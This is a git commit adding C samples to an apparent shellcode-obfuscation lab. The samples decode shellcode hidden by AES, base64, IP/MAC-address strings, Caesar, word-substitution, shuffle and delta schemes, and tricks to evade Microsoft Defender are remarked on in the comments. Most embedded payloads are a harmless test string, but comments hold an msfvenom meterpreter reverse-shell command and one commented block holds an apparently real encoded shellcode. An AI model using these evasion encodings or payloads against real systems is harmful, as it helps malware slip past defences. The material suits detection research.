mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
data: add random_shellcode source files too
This commit is contained in:
Dobin Rutishauser
@@ -0,0 +1,62 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <wincrypt.h>
|
||||
#pragma comment (lib, "crypt32.lib")
|
||||
#pragma comment (lib, "advapi32")
|
||||
|
||||
|
||||
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
|
||||
HCRYPTPROV hProv;
|
||||
HCRYPTHASH hHash;
|
||||
HCRYPTKEY hKey;
|
||||
|
||||
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
|
||||
return -1;
|
||||
}
|
||||
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
|
||||
return -1;
|
||||
}
|
||||
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
|
||||
return -1;
|
||||
}
|
||||
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
|
||||
return -1;
|
||||
}
|
||||
|
||||
CryptReleaseContext(hProv, 0);
|
||||
CryptDestroyHash(hHash);
|
||||
CryptDestroyKey(hKey);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
|
||||
char AESkey[] = { 0x91, 0x55, 0xee, 0x3f, 0x32, 0x29, 0xae, 0x62, 0x8e, 0x83, 0x10, 0xe1, 0x7c, 0x37, 0x83, 0xd5 };
|
||||
|
||||
char shellcode[] = { 0x1c, 0xf7, 0x86, 0xa5, 0x78, 0x50, 0xce, 0x38, 0x95, 0x21, 0xeb, 0x7c, 0x49, 0xe3, 0x8d, 0xcd, 0x92, 0x70, 0x4c, 0x8a, 0xb1, 0xf5, 0xfc, 0xb8, 0xf8, 0x86, 0xfd, 0xf4, 0x67, 0x10, 0xc, 0xd4, 0xa2, 0x2f, 0x2d, 0x78, 0x2d, 0xcf, 0x21, 0x8d, 0x60, 0xb4, 0x9, 0x15, 0x4, 0x16, 0x98, 0xaf };
|
||||
|
||||
AESDecrypt((char *) shellcode, sizeof(shellcode), AESkey, sizeof(AESkey));
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int b64index(char c) {
|
||||
if (c >= 'A' && c <= 'Z') return c - 'A';
|
||||
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
|
||||
if (c >= '0' && c <= '9') return c - '0' + 52;
|
||||
if (c == '+') return 62;
|
||||
if (c == '/') return 63;
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int base64_decode(const char* input, unsigned char* output) {
|
||||
int len = strlen(input);
|
||||
int out_idx = 0, val = 0, valb = -8;
|
||||
|
||||
for (int i = 0; i < len; i++) {
|
||||
int idx = b64index(input[i]);
|
||||
if (idx == -1) continue;
|
||||
val = (val << 6) + idx;
|
||||
valb += 6;
|
||||
if (valb >= 0) {
|
||||
output[out_idx++] = (val >> valb) & 0xFF;
|
||||
valb -= 8;
|
||||
}
|
||||
}
|
||||
|
||||
return out_idx;
|
||||
}
|
||||
|
||||
|
||||
int main() {
|
||||
|
||||
|
||||
const char* base64 = "//50AGUAcwB0AGUAaQBuAHMAegB3AG8AZQBpAG4AcwB6AHcAbwAyADIA";
|
||||
DWORD shellcodeLen = 42;
|
||||
|
||||
|
||||
BYTE* shellcode = (BYTE*)malloc(shellcodeLen);
|
||||
if (!shellcode) {
|
||||
fprintf(stderr, "Memory allocation failed.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
base64_decode(base64, shellcode);
|
||||
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
free(shellcode);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <wincrypt.h>
|
||||
|
||||
#pragma comment(lib, "Crypt32.lib")
|
||||
|
||||
|
||||
int main() {
|
||||
|
||||
|
||||
const char* base64 = "//50AGUAcwB0AGUAaQBuAHMAegB3AG8AZQBpAG4AcwB6AHcAbwAyADIA";
|
||||
|
||||
|
||||
DWORD shellcodeLen = 0;
|
||||
|
||||
// First, get required buffer size
|
||||
CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, NULL, &shellcodeLen, NULL, NULL);
|
||||
|
||||
BYTE* shellcode = (BYTE*)malloc(shellcodeLen);
|
||||
if (!shellcode) {
|
||||
fprintf(stderr, "Memory allocation failed.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, shellcode, &shellcodeLen, NULL, NULL)) {
|
||||
printf("shellcode (%lu bytes):\n", shellcodeLen);
|
||||
fwrite(shellcode, 1, shellcodeLen, stdout);
|
||||
printf("\n");
|
||||
} else {
|
||||
fprintf(stderr, "Decoding failed. Error code: %lu\n", GetLastError());
|
||||
}
|
||||
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
free(shellcode);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <ntstatus.h>
|
||||
#include <Ip2string.h>
|
||||
#pragma comment(lib, "Ntdll.lib")
|
||||
|
||||
// read array of shellcode formatted as IPv4 addresses
|
||||
// https://gitlab.com/ORCA000/hellshell/-/blob/main/IPv4Fuscation/Ipv4Fuscation.cpp
|
||||
// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2ipv4.c /link /OUT:bin2ipv4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
// Define our ustring struct
|
||||
struct ustring {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
int DecodeIPv4Fuscation(const char* IPV4[], void * LpBaseAddress, int arrSize) {
|
||||
// Defender will detect this function if we don't do something to change the signature
|
||||
// Write some output to the NULL device
|
||||
FILE* outfile = fopen("nul", "w");
|
||||
|
||||
PCSTR Terminator = NULL;
|
||||
void * LpBaseAddress2 = NULL;
|
||||
NTSTATUS STATUS;
|
||||
int i = 0;
|
||||
|
||||
for (int j = 0; j < arrSize; j++) {
|
||||
LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i);
|
||||
if (RtlIpv4StringToAddressA((PCSTR)IPV4[j], TRUE, &Terminator, LpBaseAddress2) != STATUS_SUCCESS) {
|
||||
printf("[!] RtlIpv4StringToAddressA failed for %s result %x", IPV4[j], STATUS);
|
||||
return 1;
|
||||
}
|
||||
else {
|
||||
i = i + 4;
|
||||
fputs("out", outfile);
|
||||
}
|
||||
|
||||
fclose(outfile); // close the decoy file
|
||||
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Shellcode as array of IP Addresses
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 bin2ip.py -v 4 -i met.bin
|
||||
|
||||
|
||||
const char* IPv4s[] = {
|
||||
"255.254.116.0", "101.0.115.0", "116.0.101.0", "105.0.110.0", "115.0.122.0",
|
||||
"119.0.111.0", "101.0.105.0", "110.0.115.0", "122.0.119.0", "111.0.50.0",
|
||||
"50.0.144.144" };
|
||||
|
||||
// declare a variable for our shellcode size
|
||||
unsigned int shellcode_size = (sizeof(IPv4s) / sizeof(IPv4s[0])) * 4;
|
||||
|
||||
// Declare a buffer for storing our shellcode
|
||||
PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
// Decode IPs and copy into memory
|
||||
if (DecodeIPv4Fuscation(&IPv4s, buffer, sizeof(IPv4s) / sizeof(IPv4s[0])) != 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// create a new struct from the buffer we allocated
|
||||
_data.Buffer = buffer;
|
||||
_data.Length = shellcode_size;
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < _data.Length)
|
||||
{
|
||||
if (idx == (shellcode_size - 1) )
|
||||
{
|
||||
printf("0x%02x ", _data.Buffer[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", _data.Buffer[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <ntstatus.h>
|
||||
#include <Ip2string.h>
|
||||
#pragma comment(lib, "Ntdll.lib")
|
||||
|
||||
// read array of shellcode formatted as MAC addresses
|
||||
// https://gitlab.com/ORCA000/hellshell/-/blob/main/MacFuscation/MacFuscation.cpp
|
||||
// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2mac.c /link /OUT:bin2mac.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
// Define our ustring struct
|
||||
struct ustring {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
int DecodeMACFuscation(const char* MAC[], void * LpBaseAddress, int arrSize) {
|
||||
PCSTR Terminator = NULL;
|
||||
void * LpBaseAddress2 = NULL;
|
||||
NTSTATUS STATUS;
|
||||
int i = 0;
|
||||
for (int j = 0; j < arrSize; j++) {
|
||||
LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i);
|
||||
if (RtlEthernetStringToAddressA((PCSTR)MAC[j], &Terminator, LpBaseAddress2) != STATUS_SUCCESS) {
|
||||
printf("[!] RtlEthernetStringToAddressA failed for %s result %x", MAC[j], STATUS);
|
||||
return 1;
|
||||
}
|
||||
else {
|
||||
i = i + 6;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Shellcode as array of MAC Addresses
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 bin2mac.py -i met.bin
|
||||
|
||||
|
||||
const char* MACs[] = {
|
||||
"ff-fe-74-00-65-00", "73-00-74-00-65-00", "69-00-6e-00-73-00", "7a-00-77-00-6f-00",
|
||||
"65-00-69-00-6e-00", "73-00-7a-00-77-00", "6f-00-32-00-32-00" };
|
||||
|
||||
// declare a variable for our shellcode size
|
||||
unsigned int shellcode_size = (sizeof(MACs) / sizeof(MACs[0])) * 6;
|
||||
printf("shellcode size: %d\n", shellcode_size);
|
||||
printf("size of array: %d\n", sizeof(MACs) / sizeof(MACs[0]));
|
||||
|
||||
// Declare a buffer for storing our shellcode
|
||||
PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
// Decode IPs and copy into memory
|
||||
if (DecodeMACFuscation(&MACs, buffer, sizeof(MACs) / sizeof(MACs[0])) != 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// create a new struct from the buffer we allocated
|
||||
_data.Buffer = buffer;
|
||||
_data.Length = shellcode_size;
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < _data.Length)
|
||||
{
|
||||
if (idx == (shellcode_size - 1) )
|
||||
{
|
||||
printf("0x%02x ", _data.Buffer[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", _data.Buffer[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
char caesar[42] = {0xc, 0xb, 0x81, 0xd, 0x72, 0xd, 0x80, 0xd, 0x81, 0xd, 0x72, 0xd, 0x76, 0xd, 0x7b, 0xd, 0x80, 0xd, 0x87, 0xd, 0x84, 0xd, 0x7c, 0xd, 0x72, 0xd, 0x76, 0xd, 0x7b, 0xd, 0x80, 0xd, 0x87, 0xd, 0x84, 0xd, 0x7c, 0xd, 0x3f, 0xd, 0x3f, 0xd};unsigned char shellcode[42] = { 0x00 };
|
||||
|
||||
for (int i = 0; i < sizeof(caesar); i++)
|
||||
{
|
||||
if ((caesar[i] - 13) < 0)
|
||||
{
|
||||
printf(""); // because defender
|
||||
shellcode[i] = caesar[i] + 256 - 13;
|
||||
}
|
||||
else
|
||||
{
|
||||
shellcode[i] = caesar[i] - 13;
|
||||
}
|
||||
}
|
||||
|
||||
int idx = 0;
|
||||
while (idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1))
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
|
||||
unsigned char* translation_table[256] = { "milan","bunch","anime","stuff","surge","notre","baker","peter","setup","blood","rebel","award","renew","modem","moral","yemen","naval","worth","slide","anger","cohen","eight","trail","ocean","tapes","cloud","ellen","dairy","ozone","chain","audio","kelly","mayor","julia","flash","bands","album","films","fifty","laura","plans","boots","relax","prior","stone","spies","keeps","spoke","power","royal","super","lions","fails","laden","monte","shoes","scary","novel","micro","glory","never","roots","wagon","omega","bible","forth","dates","adopt","nerve","enjoy","oasis","beats","valid","aware","brook","grace","until","gotta","going","syria","trips","loose","stage","major","arena","calls","align","goods","ought","jenny","water","serve","focus","pizza","comes","apple","shark","fraud","voted","youth","shelf","jeans","truly","dealt","horny","packs","every","lemon","glass","wells","graph","clock","lines","islam","blogs","carey","haven","ranch","chick","admit","roles","rocky","tones","rover","blank","black","north","plays","trunk","words","buddy","added","works","human","saver","vista","alloy","skins","delhi","crowd","shade","probe","forum","bunny","patio","witch","issue","debug","ghana","retro","tanks","costs","steps","would","dodge","speak","combo","bruce","tooth","watch","usage","burst","nokia","hence","derek","loans","cover","hello","males","squad","qatar","races","break","visit","spice","ivory","balls","noble","coach","child","argue","yours","shaft","broke","worse","twice","shall","verse","score","thing","while","drink","sheer","babes","yukon","wrote","excel","craft","dress","debut","viral","tough","smith","proof","sanyo","trust","occur","lanes","falls","proud","favor","tribe","strip","beach","thick","strap","meant","signs","prize","hired","round","souls","sagem","often","panic","rolls","panel","avoid","digit","stack","alien","enemy","diana","kerry","truth","badly","racks","thumb","guide","lands","woman","scott","today","honor","yahoo","jewel","aside","motor","lucas","teddy","items","boats","earth","civic","store","being" };
|
||||
|
||||
unsigned char* translated_shellcode[42] = { "being","store","haven","milan","jeans","milan","carey","milan","haven","milan","jeans","milan","packs","milan","graph","milan","carey","milan","tones","milan","admit","milan","clock","milan","jeans","milan","packs","milan","graph","milan","carey","milan","tones","milan","admit","milan","clock","milan","super","milan","super","milan" };
|
||||
|
||||
unsigned char shellcode[42] = {0};
|
||||
int sc_len = sizeof(shellcode);
|
||||
|
||||
printf("Translating shellcode!\n");
|
||||
/*
|
||||
for loop is defined as such:
|
||||
for (int sc_index = 0; sc_index < # of shelcode bytes; sc_index++)
|
||||
*/
|
||||
for (int sc_index = 0; sc_index < 42; sc_index++) {
|
||||
for (int tt_index = 0; tt_index <= 255; tt_index++) {
|
||||
//if (translation_table[tt_index] == translated_shellcode[sc_index]) {
|
||||
if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) {
|
||||
shellcode[sc_index] = tt_index;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* SHELLCODE will look like this:
|
||||
unsigned char* translation_table[256] = { "music","taste","wings","audio","endif","winds","crime","bonus","lanka","honey","simon","manor","screw","puppy","surge","watts","upper","dance","touch","heavy","tumor","scale","acute","wider","strap","tooth","colon","karen","fever","quiet","chart","donna","yacht","human","devil","belly","heath","class","shall","these","funds","discs","atlas","dying","arrow","spies","pairs","young","amber","exist","glory","offer","swift","focal","larry","bobby","tires","items","skirt","adult","blond","roman","stick","elvis","slope","scuba","value","lexus","cells","happy","joins","india","yards","smoke","train","bacon","sheet","blink","dairy","latex","feels","guide","shoot","holly","armor","bench","tours","cedar","fires","bands","firms","roads","known","going","mails","speak","laugh","heard","study","logan","packs","level","carey","shirt","loose","tapes","goals","maine","uncle","shine","dense","cases","cache","cards","favor","disks","coins","nokia","enter","fatty","bring","anger","singh","tribe","notre","saint","emily","moses","brown","kathy","busty","squad","gamma","debug","nikon","judge","guest","claim","lobby","bears","maybe","close","basic","catch","alarm","meant","chain","meyer","vital","clock","keith","ports","theme","enjoy","abuse","rooms","pipes","broad","words","outer","point","users","paste","aruba","hairy","spice","taxes","teach","paris","plate","roger","title","stone","gates","texts","smart","trade","berry","worry","photo","tunes","storm","panic","pumps","hello","fuzzy","mouth","joyce","grows","email","teddy","pills","birth","games","pride","skype","meter","yours","lyric","means","picks","diane","wagon","rouge","kevin","focus","scott","dolls","frost","today","small","alpha","track","smith","james","wanna","buses","spots","eight","stuck","indie","clean","weeks","jewel","solve","opens","civic","usage","array","nodes","mason","roots","sugar","dirty","sight","jesus","lloyd","strip","dream","might","tions","grams","brass","hired","julia","crazy","flood","march","combo","drops","delta","shaft","spank","jesse","arena","visit" };
|
||||
unsigned char* translated_shellcode[598] = { "spank","yards","squad","array","tions","sugar","kevin","music","music","music","scuba","guide","scuba","feels","shoot","guide","yards","exist","small","tours","level","yards","bears","shoot","laugh","yards","bears","shoot","strap","yards","bears","shoot","yacht","yards","watts","pumps","train","train","yards","bears","favor","feels","blink","exist","diane","yards","exist","birth","stone","blond","heard","notre","wings","arrow","yacht","scuba","games","diane","puppy","scuba","taste","games","civic","strip","shoot","yards","bears","shoot","yacht","scuba","guide","bears","value","blond","yards","taste","frost","carey","kathy","bring","strap","manor","wings","watts","debug","favor","music","music","music","bears","brown","guest","music","music","music","yards","debug","birth","coins","shirt","yards","taste","frost","feels","bears","yards","strap","cells","bears","slope","yacht","smoke","taste","frost","usage","tours","blink","exist","diane","yards","visit","diane","scuba","bears","swift","guest","yards","taste","james","yards","exist","birth","stone","scuba","games","diane","puppy","scuba","taste","games","tires","solve","nokia","grams","sheet","audio","sheet","heath","lanka","happy","items","today","nokia","buses","fires","cells","bears","slope","heath","smoke","taste","frost","carey","scuba","bears","screw","yards","cells","bears","slope","fever","smoke","taste","frost","scuba","bears","endif","guest","scuba","fires","scuba","fires","mails","yards","taste","frost","bands","firms","scuba","fires","scuba","bands","scuba","firms","yards","squad","lloyd","yacht","scuba","shoot","visit","solve","fires","scuba","bands","firms","yards","bears","touch","dirty","bacon","visit","visit","visit","going","yards","exist","stuck","holly","smoke","teddy","fatty","tapes","dense","tapes","dense","level","coins","music","scuba","tours","yards","claim","opens","smoke","means","pride","sheet","fatty","shall","bonus","visit","smith","holly","holly","yards","claim","opens","holly","firms","blink","exist","birth","blink","exist","diane","holly","holly","smoke","mouth","skirt","tours","anger","teach","music","music","music","music","visit","smith","sugar","upper","music","music","music","exist","items","glory","pairs","exist","larry","tires","pairs","exist","items","amber","pairs","exist","offer","swift","music","firms","yards","claim","games","smoke","means","birth","feels","music","music","music","blink","exist","diane","holly","holly","goals","audio","holly","smoke","mouth","cedar","claim","outer","lyric","music","music","music","music","visit","smith","sugar","blink","music","music","music","young","favor","level","happy","enter","packs","packs","goals","larry","cards","dense","train","maine","train","glory","bench","uncle","scuba","packs","larry","shirt","heard","scuba","enter","goals","enter","favor","maine","tapes","holly","lexus","cache","larry","blink","bacon","tours","disks","fires","fires","fatty","favor","dairy","singh","disks","loose","goals","loose","uncle","maine","cells","offer","bacon","logan","value","nokia","larry","scuba","maine","packs","lexus","fires","tires","coins","yards","larry","enter","train","sheet","fires","larry","bacon","shoot","cedar","bench","dense","cedar","music","yards","claim","games","holly","firms","scuba","fires","blink","exist","diane","holly","yards","hello","music","wings","funds","gamma","music","music","music","music","feels","holly","holly","smoke","means","pride","jesus","bench","pairs","adult","visit","smith","yards","claim","lyric","goals","simon","speak","holly","firms","yards","claim","grams","blink","exist","diane","blink","exist","diane","holly","holly","smoke","means","pride","spies","crime","strap","tribe","visit","smith","debug","birth","nokia","donna","yards","means","games","guest","heavy","music","music","smoke","mouth","cells","tions","focal","solve","music","music","music","music","visit","smith","yards","visit","dolls","coins","wings","jesus","kevin","sugar","bench","music","music","music","holly","bands","goals","slope","firms","smoke","claim","today","games","civic","upper","smoke","means","birth","music","upper","music","music","smoke","mouth","fires","hairy","holly","nodes","music","music","music","music","visit","smith","yards","meyer","holly","holly","yards","claim","roots","yards","claim","grams","yards","claim","eight","smoke","means","birth","music","yacht","music","music","smoke","claim","drops","smoke","mouth","touch","keith","claim","civic","music","music","music","music","visit","smith","yards","squad","meter","yacht","debug","birth","coins","worry","carey","bears","bonus","yards","taste","skype","debug","birth","nokia","small","fires","skype","fires","goals","music","bands","smoke","means","pride","tions","storm","paste","tours","visit","smith" };
|
||||
|
||||
unsigned char shellcode[598] = {0};
|
||||
int sc_len = sizeof(shellcode);
|
||||
|
||||
for (int sc_index = 0; sc_index < 598; sc_index++) {
|
||||
printf(""); // Defender is detecting the translation routine ¯\_(ツ)_/¯
|
||||
for (int tt_index = 0; tt_index <= 255; tt_index++) {
|
||||
if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) {
|
||||
shellcode[sc_index] = tt_index;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
|
||||
unsigned char jigsaw[42] = { 0x00, 0x00, 0x74, 0x6f, 0x73, 0x00, 0x7a, 0x00, 0x00, 0x00, 0x6e, 0xff, 0x74, 0x6e, 0x32, 0x00, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x00, 0x32, 0x00, 0x77, 0x00, 0x73, 0x00, 0x00, 0x65, 0x73, 0x00, 0x7a, 0x65, 0x00, 0x00, 0x00, 0x77, 0x65, 0xfe, 0x00, 0x69 };
|
||||
|
||||
int positions[42] = { 17, 3, 8, 22, 30, 19, 32, 33, 37, 13, 14, 0, 2, 28, 38, 15, 7, 12, 5, 36, 41, 25, 40, 9, 20, 11, 16, 29, 23, 24, 6, 31, 18, 10, 39, 27, 21, 34, 4, 1, 35, 26 };
|
||||
|
||||
|
||||
unsigned char shellcode[42] = { 0x00 };
|
||||
int position;
|
||||
|
||||
// Reconstruct the payload
|
||||
for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
|
||||
position = positions[idx];
|
||||
shellcode[position] = jigsaw[idx];
|
||||
}
|
||||
|
||||
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
unsigned char shellcode[42] = {255, 254, 116, 0, 101, 0, 115, 0, 116, 0, 101, 0, 105, 0, 110, 0, 115, 0, 122, 0, 119, 0, 111, 0, 101, 0, 105, 0, 110, 0, 115, 0, 122, 0, 119, 0, 111, 0, 50, 0, 50, 0};
|
||||
|
||||
printf("All this program does is store shellcode and print this message.\n");
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
int main(){
|
||||
|
||||
|
||||
unsigned char first_byte = 0xff;unsigned char delta[41] = {0xff, 0x76, 0x8c, 0x65, 0x9b, 0x73, 0x8d, 0x74, 0x8c, 0x65, 0x9b, 0x69, 0x97, 0x6e, 0x92, 0x73, 0x8d, 0x7a, 0x86, 0x77, 0x89, 0x6f, 0x91, 0x65, 0x9b, 0x69, 0x97, 0x6e, 0x92, 0x73, 0x8d, 0x7a, 0x86, 0x77, 0x89, 0x6f, 0x91, 0x32, 0xce, 0x32, 0xce };unsigned char shellcode[42] = { 0x00 };
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 offset.py -i met.bin
|
||||
|
||||
//Size of shellcode array
|
||||
int cap = sizeof(delta) / sizeof(delta[0]);
|
||||
|
||||
//Setting first byte of the reconstituted array to the first byte of the payload
|
||||
shellcode[0] = first_byte;
|
||||
|
||||
// keep track of our positions
|
||||
unsigned int delta_idx, shellcode_idx;
|
||||
|
||||
/* Take initial byte and add the delta to it to get the second byte. Take second byte
|
||||
and add second delta to get third byte and so on. */
|
||||
for (delta_idx = 0; delta_idx < cap; delta_idx++)
|
||||
{
|
||||
shellcode_idx = delta_idx + 1;
|
||||
shellcode[shellcode_idx] = shellcode[delta_idx] + delta[delta_idx];
|
||||
}
|
||||
|
||||
|
||||
for (int l = 0; l < cap + 1; l++)
|
||||
{
|
||||
//Last run needs to print closing bracket and semicolon
|
||||
if (l == (cap)) {
|
||||
printf("0x%02x", shellcode[l]);
|
||||
}
|
||||
else {
|
||||
//Added a 1 because initial loop is true and adds a newline. This causes it to print 15 bytes and then a new line
|
||||
if ((l + 1) % 15 == 0) {
|
||||
printf("0x%02x,\n", shellcode[l]);
|
||||
}
|
||||
else {
|
||||
printf("0x%02x,", shellcode[l]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
Based on https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/
|
||||
|
||||
SystemFunction033 is an undocumented function that can perform RC4 encryption/decryption on a buffer.
|
||||
Similar to XOR, calling SystemFunction033 on an a buffer containing unencrypted data encrypts the data in the buffer.
|
||||
Calling SystemFunction033 on an a buffer containing encrypted data decrypts the data in the buffer.
|
||||
*/
|
||||
|
||||
|
||||
// Function prototype for SystemFunction033
|
||||
typedef NTSTATUS(WINAPI* _SystemFunction033)(
|
||||
struct ustring* memoryRegion,
|
||||
struct ustring* keyPointer);
|
||||
|
||||
|
||||
// Define our ustring struct
|
||||
struct ustring {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
|
||||
int main() {
|
||||
|
||||
|
||||
// declare SystemFunction033 for use
|
||||
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary((LPCSTR)"Advapi32"), (LPCSTR)"SystemFunction033");
|
||||
|
||||
